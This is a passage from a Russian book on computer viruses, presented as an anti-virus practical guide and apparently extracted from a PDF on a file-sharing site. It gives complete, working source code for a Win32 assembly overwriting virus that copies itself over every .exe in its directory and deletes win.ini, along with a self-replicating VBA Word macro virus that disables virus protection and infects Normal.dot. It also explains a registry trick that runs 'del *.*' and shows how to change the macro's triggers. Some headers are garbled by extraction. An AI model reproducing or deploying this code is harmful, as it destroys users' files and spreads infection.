Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

331

 

 

Ну вот мы и рассмотрели самые распространенные возможности размножения вирусов через Интернет.

Главным способом защиты от интернет-червей является своевременное обновление программного обеспечения и антивирусных баз.

Ï ð è ê ë à ä í û å ô ó í ê ö è è â è ð ó ñ î â

Глава 6 Деструктивные способности вирусов

Деструктивные возможности компьютерных вирусов, ориентированных на операционные системы семейства Windows, довольно сильно отличаются от их собратьев под DOS. Данное отличие заключено в самих различиях операционной системы: у операционных систем семейства Windows гораздо лучше развита политика безопасности. Например, вы никогда не сможете отформатировать тот логический диск, на котором расположена система. Опять же, вы не сможете удалить важные системные файлы (используемые системой). Но открылись и новые возможности вирусов.

Например, можно в ключ реестра «HKEY_CLASSES_ROOT\exefile\shell\ open\command» прописать «del *.*» ,что удалит все файлы в директории запуска любого Windows приложения. Аспекты работы с ключами реестра вообще и с данным конкретно были рассмотрены нами при обсуждении резидентности.

По-прежнему осталась возможность шифрования различных файлов. Главное условие успеха этого действия — чтобы криптуемая нами программа не была запущена, иначе у нас не будет к файлу доступа.

Описанные выше действия довольно просты, но существует также возможность удаления системных файлов, которые на данный момент не используются в системе, но очень ей нужны, например «win.ini».

Все описанные выше деструктивные возможности вирусов довольно просты как для понимания, так и для реализации. Для примера рассмотрим реализацию последнего варианта деструкции.

Перейдем к листингу:

;----------------------------------------------

.386

.model flat

;Далее идут импортируемые функции

extrn

DeleteFileA:PROC

extrn

ExitProcess:PROC

extrn

FindFirstFileA:PROC

extrn

CopyFileA:PROC

332

 

 

Windows вирусы

 

 

 

extrn

GetCommandLineA:PROC

 

extrn

FindNextFileA:Proc

 

extrn

lstrcpyA:PROC

 

extrn

lstrcatA:PROC

 

extrn

FindClose:PROC

 

extrn

GetWindowsDirectoryA:PROC

 

.data

 

 

; Область данных

EXE_file

DB

'*.exe',0

; Маска поиска файлов

find_file

db

313 dup(?)

; Переменная типа WIN32_FIND_DATA

host_name

db

100 dup(?)

; Переменная для имени файла

Find_data_name

equ

2ch

; Смещение на имя файла в WIN32_FIND_DATA

Fhandle

dd

?

; Хэндл поиска

msg1

db

'[ WIN32 OVERWRITER VIRUS -=w32.X060T=- ]' ; Имя вируса

gertva

db

'\win.ini',0

; Удаляемый файл

win_dir

db

100 dup(?)

; Место для имени Windows директории

.code

 

 

;

;----------------------------------------------

start:

 

 

; С этого места начинается программа

;Функция GetCommandLine()

;Возвращает в eax смещение на командную строку

Call

GetCommandLineA

; Данной функции параметры не передаются

push

eax

; Положим в стек смещение на командную строку

push

offset host_name

; Копируем ее в переменную host_name

 

 

;

call

lstrcpyA

; Вызываем функцию копирования строки

call

destroy

; Вызов деструкции

;----------------------------------------------

 

 

;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)

;Возвращает хэндл поиска

push

OFFSET find_file

; Положим в стек смещение на find_file

push

OFFSET EXE_file

; Положим в стек смещение на маску поиска

call

FindFirstFileA

; Вызываем функцию FindFirstFileA

cmp

EAX, -1

; Если нет ни одного нужного нам файла,

je

End_it

; то идем на выход

 

 

; Иначе

mov

[Fhandle],eax

; в переменной Fhandle сохраняем хэндл поиска

;----------------------------------------------

 

 

infect:

 

 

 

 

; Функции CopyFileA говорим о том, что будем

push

0

; При копировании файл перезаписывать

push

offset find_file + Find_data_name ; Куда копируем

push

offset host_name

; Откуда копируем

call

CopyFileA

; Вызов функции копирования

Windows вирусы

 

 

333

 

 

 

 

Call

Fnext

; Вызываем процедуру

поиска следующего файла

cmp

eax,0

; Если eax равен 0, то файлов больше нет

jne

infect

; и мы идем на выход

 

End_it:

 

 

 

push

[Fhandle]

; Положим в стек хэндл поиска

call

FindClose

; и вызываем функцию

закрытия поиска

push

0

; Положим в стек 0

 

call

ExitProcess

; и вызываем функцию

завершения программы

;----------------------------------------------

 

 

 

Fnext:

 

; Процедура поиска следующего файла

;bool FindNextFileA( handle, pointer find_file)

;Возвращает 0, если файлов больше нет и 1 в обратном случае

push

offset find_file

; Положим в стек смещение на find_file

push

[Fhandle]

; Положим в стек хэндл

call

FindNextFileA

; Вызываем функцию поиска следующего файла

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

destroy:

 

 

push

100

; Получение

push

offset win_dir

; имени

call

GetWindowsDirectoryA

; Windows директории

push

offset gertva

; Добавляем к имени

push

offset win_dir

; Windows директории имя

call

lstrcatA

; файла-жертвы

push

offset win_dir

; Удаляем файл-

call

DeleteFileA

; жертву

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

end

start

 

;----------------------------------------------

 

 

Но шедевром деструкции в Windows вирусах стала деструкция в вирусе Win CIH (он же Чернобыль).

В данном вирусе предусмотрена возможность перезаписи мусором Flash Bios'a, после чего для возврата работоспособности материнских плат был необходим специальный программатор. Но данная деструктивная возможность в данном повествовании рассматриваться не будет (кому это необходимо, и сами найдут).

А вообще в Windows вирусах деструктивные проявления встречаются гораздо реже, чем в DOS. Мое мнение по этому поводу: для написания Windows вирусов необходима большая квалификация, чем для написания DOS вирусов, и те, кто их пишут, люди уже несколько более ответственные. Ну и наверное, это опять же эволюция вирусной сцены.

334

Windows вирусы

 

 

Глава 7 Графические и музыкальные эффекты

âвирусах

Âбольшом количестве вирусов мной обнаружена сильная деградация графических эффектов, о музыкальных и говорить не приходится, — они практиче- ски вымерли.

Начнем с графических проявлений. Основным проявлением в 90 % вирусов является MessageBox. Как и в DOS-вирусах, в обращении к пользователям, как обычно, сообщается, что он ламер и что данный вирус написан супертехнокрысой «Василием Ивановым». Также обычно здесь передаются приветы любимым женщинам, кошкам, собакам... Основной целью данного сообщения является высказывание своего уважения гуру кода и своим друзьям.

Нам необходимо ознакомиться с примером вируса с такими сообщениями, так как они наиболее распространенные:

;----------------------------------------------

 

 

 

.386

 

 

 

.model flat

 

 

 

;Далее идут импортируемые функции

 

extrn

DeleteFileA:PROC

 

extrn

ExitProcess:PROC

 

extrn

FindFirstFileA:PROC

 

extrn

CopyFileA:PROC

 

extrn

GetCommandLineA:PROC

 

extrn

FindNextFileA:Proc

 

extrn

lstrcpyA:PROC

 

extrn

FindClose:PROC

 

extrn

MessageBoxA:PROC

 

.data

 

 

; Область данных

EXE_file

DB

'*.exe',0

; Маска поиска файлов

find_file

db

313 dup(?)

; Переменная типа WIN32_FIND_DATA

host_name

db

100 dup(?)

; Переменная для имени файла

Find_data_name

equ

2ch

; Смещение на имя файла в WIN32_FIND_DATA

Fhandle

dd

?

; Хэндл поиска

msg1

db

'[ WIN32 OVERWRITER VIRUS -=w32.X060T=- ]' ; Имя вируса

zagolovok

db

'Message t0 User',0

 

msg

db

'Gr33tZ to all my friendZ',0ah,0dh

 

db

'this virus -=w32.X060T=-',0

.code

 

 

;

;----------------------------------------------

 

 

 

start:

 

 

; С этого места начинается программа

;Функция GetCommandLine()

;Возвращает в eax смещение на командную строку

Call

GetCommandLineA

; Данной функции параметры не передаются

Windows вирусы

335

 

 

 

push

eax

; Кладем в стек смещение на командную строку

push

offset host_name

; Копируем ее в переменную host_name

 

 

;

call

lstrcpyA

; Вызываем функцию копирования строки

call

graph

 

;----------------------------------------------

 

 

;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)

;Возвращает хэндл поиска

push

OFFSET find_file

; Кладем в стек смещение на find_file

push

OFFSET EXE_file

; Кладем в стек смещение на маску поиска

call

FindFirstFileA

; Вызываем функцию FindFirstFileA

cmp

EAX, -1

; Если нет ни одного нужного нам файла,

je

End_it

; то идем на выход

 

 

; Иначе

mov

[Fhandle],eax

; в переменной Fhandle сохраняем хэндл поиска

;----------------------------------------------

 

 

infect:

 

 

 

 

; Функции CopyFileA говорим о том, что будем

push

0

; при копировании файл перезаписывать

push

offset find_file + Find_data_name ; Куда копируем

push

offset host_name

; Откуда копируем

call

CopyFileA

; Вызов функции копирования

Call

Fnext

; Вызываем процедуру поиска следующего файла

cmp

eax,0

; Если eax равен 0, то файлов больше нет

jne

infect

; и мы идем на выход

End_it:

 

 

push

[Fhandle]

; Кладем в стек хэндл поиска

call

FindClose

; и вызываем функцию закрытия поиска

push

0

; Кладем в стек 0

call

ExitProcess

; и вызываем функцию завершения программы

;----------------------------------------------

 

 

Fnext:

 

; Процедура поиска следующего файла

;bool FindNextFileA( handle, pointer find_file)

;Возвращает 0, если файлов больше нет, и 1 в обратном случае

push

offset find_file

; Кладем в стек смещение на find_file

push

[Fhandle]

; Кладем в стек хэндл

call

FindNextFileA

; Вызываем функцию поиска следующего файла

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

graph:

 

 

push

1000h

; Сообщение для пользователя

push

offset zagolovok

; о том, что это за вирус

push

offset msg

; и еще о том, что он почитает своих

push

0

; друзей

336

 

Windows вирусы

 

 

 

call

MessageBoxA

;

ret

 

 

;----------------------------------------------

 

 

end

start

 

;----------------------------------------------

 

 

Псевдографическими можно также считать эффекты, когда меняется имя компьютера и диска. Псевдо потому, что это не явное проявление, но все-таки оно очень даже заметно. Рассмотрим кусочек кода, реализующий эти вещи.

Переходим к листингу:

;----------------------------------------------

 

 

push

offset name1

; Устанавливаем имя компьютера в соответсвии с

call

SetComputerNameA

; переменной name1

push

offset name1

; Устанавливаем имя логического диска

call

SetVolumeLabelA

; аналогичным образом

;----------------------------------------------

 

 

Также в редких случаях реализуют по-настоящему красивые эффекты в вирусах, но это очень сильно увеличивает размер вируса, поэтому это редкость.

Стоит отметить, что в некоторых вирусах мною встречалось музыкальное проявление, когда вирус проигрывал системные midi файлы.

Очень распространенным графическим проявлением, о котором нельзя не упомянуть, является смена стартовой картинки при загрузке Windows, а также смена фона рабочего стола в системе. Стоит сказать, что перенос вместе с телом вируса картинки довольно сильно бьет по размеру.

Ну вот, в принципе и все, что я хотел сказать о недеструктивных проявлениях компьютерных вирусов.

МАКРО вирусы

Ì å ò î ä û ð à ç ì í î æ å í è ÿ â è ð ó ñ î â

Глава 1

Простейшие *.DOC вирусы (trivial Macro)

В последнее время компьютерный мир захлестнула волна макровирусов. Макровирус — это программа, написанная на языке VBA (Visual Basic for Application). Эта программа распространяется вместе с документом Microsoft Word (в последнее время также распространились MS Excel и MS Access вирусы). Почему же данные вирусы получили такое распространение? Все довольно просто. Для создания макровируса не нужно каких-либо глубоких познаний в программировании, не нужно знания Ассемблера. Это позволило множеству неопытных программистов попробовать свои силы в разработке макровирусов. Что же необходимо для разработки макровируса? Во-первых, это минимальное знание языка VB и желательно VBA. Для разработки полностью готового к распространению макровируса вам понадобится Microsoft Word 97/2000 и желательно какой-нибудь антивирус с обновленными базами. Итак, теория. Практически все макровирусы заражают файл Normal.dot — это базовый шаблон, который загружается при открытии документа, при создании нового документа... Что же нам дает заражение Normal.dot? При зараженном Normal.dot, когда создается новый файл, сначала отрабатывает макрос, загруженный в Normal.dot, и это дает возможность заражать все открытые или новые документы (при зараженном Normal.dot).

Теперь разберем алгоритм простейшего макровируса:

1)если Normal.dot не заражен, то сохраняем текст макроса в каком-нибудь внешнем скрытом файле;

2)проверим — если текущий документ не заражен, то заразим его;

3)если Normal.dot не заражен, то инфицируем его.

Алгоритм довольно прост, не правда ли? Давайте теперь его реализуем. Вот листинг:

'----------------------------------------------

 

Sub Document_Close()

 

' h0b0t Word 97/2000 macr0 virus

 

Application.DisplayAlerts = 0 'Отключить

тревогу

Options.VirusProtection = False 'Отключить

сообщения о вирусах

338 МАКРО вирусы

If Application.UserName <> "[h0b0t]" Then ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd" End If

'Экспортирование файла с макросами

Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

If AD.lines(1, 1) = "" Then 'Если документ не заражен, то заразим Set t = ActiveDocument.VBProject.VBComponents.Item(1)

Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit1

i = 1

Do While Not EOF(1) Line Input #1, a If i > 8 Then

If i = 10 Then

t.CodeModule.InsertLines i, "sub Document_Close()" Else: t.CodeModule.InsertLines i, a

End If End If

i = i + 1 Loop

quit1:

Close #1

End If

If Application.UserName <> "[h0b0t]" Then 'Если документ не заражен, то заразим Set t = NormalTemplate.VBProject.VBComponents.Item(1)

Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit

i = 1

Do While Not EOF(1)

Line Input #1, a

If i > 8 Then

If i = 10 Then

 

t.CodeModule.InsertLines i, "sub AutoClose()"

Else:

t.CodeModule.InsertLines i, a

End If

 

End If

 

i = i + 1

 

Loop

 

quit:

 

Close #1 Application.UserName = "[h0b0t]" End If

End Sub '----------------------------------------------

Рассмотрим данный вирус подробнее. Для того чтобы разобраться с логикой его работы.

Начнем с первого блока:

'----------------------------------------------

' h0b0t Word 97/2000 macr0 virus Application.DisplayAlerts = 0 'Отключить тревогу

МАКРО вирусы

339

 

 

Options.VirusProtection = False 'Отключить сообщения о вирусах

If Application.UserName <> "[h0b0t]" Then ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd" End If

'Экспортирование файла с макросами

Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule '----------------------------------------------

Первая строчка в этом блоке — это комментарий, в котором находится название вируса. Далее идут инструкции по отключению предупреждений и защите от вирусов. Если имя автора в документе не [h0b0t], тогда макрос из этого документа (вирусный макрос) сохраняется в файле «c:\Windows\sl0n.vxd». Далее переменной AD присваивается макрос активного документа.

Перейдем ко второму блоку:

'----------------------------------------------

If AD.lines(1, 1) = "" Then 'Если документ не заражен, то заразим Set t = ActiveDocument.VBProject.VBComponents.Item(1)

Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit1

i = 1

Do While Not EOF(1) Line Input #1, a If i > 8 Then

If i = 10 Then

t.CodeModule.InsertLines i, "sub Document_Close()" Else: t.CodeModule.InsertLines i, a

End If End If

i = i + 1 Loop

quit1:

Close #1

End If '----------------------------------------------

В начале стоит проверка на зараженность активного документа. Если первая строчка пуста, значит он не заражен, и мы будем его заражать. Переменной t мы присваиваем макрос активного документа, открываем файл, в котором мы сохранили наш вирусный макрос (файл открываем для чтения), проверяем — если он пустой, то идем на метку quit1. Если файл не пустой, то мы читаем из него по строчке. Первые 8 пропускаем, так как там хранится не нужная нам информация. Потом мы эти строки переписываем в макрос активного документа, но на место 10 строки мы записываем «sub Document_Close()» для того чтобы вирус не утратил функциональности. После того как вирус переписан, закрываем файл.

Перейдем к последнему, третьему блоку:

'----------------------------------------------

If Application.UserName <> "[h0b0t]" Then 'Если документ не заражен, то заразим Set t = NormalTemplate.VBProject.VBComponents.Item(1)

340 МАКРО вирусы

Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit

i = 1

Do While Not EOF(1)

Line Input #1, a

If i > 8 Then

If i = 10 Then

 

t.CodeModule.InsertLines

i, "sub AutoClose()"

Else:

t.CodeModule.InsertLines

i, a

End If

 

 

End If

 

 

i = i + 1

 

 

Loop

quit:

Close #1 Application.UserName = "[h0b0t]"

'----------------------------------------------

В данном блоке производятся те же операции, что и в предыдущем, но только с одним лишь отличием — инфицируется шаблон Word и выставляется метка инфицированности данного Word'a установкой имени автора в [h0b0t].

Данный вирус заражает документы при их закрытии, но его легко можно модифицировать для заражения при создании нового документа. Для этого необходимо всего лишь заменить AutoClose() на AutoNew(). Аналогичным образом можно сделать при открытии документа или при его сохранении (AutoOpen, AutoSave).

Вообще, существует множество способов инфицирования документов Word. Мы использовали непосредственную работу с файлами и метод Export для создания файла на диске с текстом макроса и копированием его в инфицируемые документы.

Для лечения этого макровируса необходимо всего лишь удалить все макросы в документах, в том числе и в Normal.dot.

Ôó í ê ö è è ì à ñ ê è ð î â ê è è ó ñ ê î ð å í è ÿ

ýï è ä å ì è è

Глава 2 Вирусные технологии

В макровирусах применяются все те же вирусные технологии, как и в обыч- ных вирусах, т. е. стелс-технология, антиэвристика, полиморфизм.

Начнем рассмотрение со стелс-технологий. В чем же заключаются стелс-технологии применительно к макровирусам? В большинстве своем — это сокрытие собственного кода от глаз пользователей. Реально на практике это выглядит следующим образом. Отключаются в меню Word опции «Редактор VB» и

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]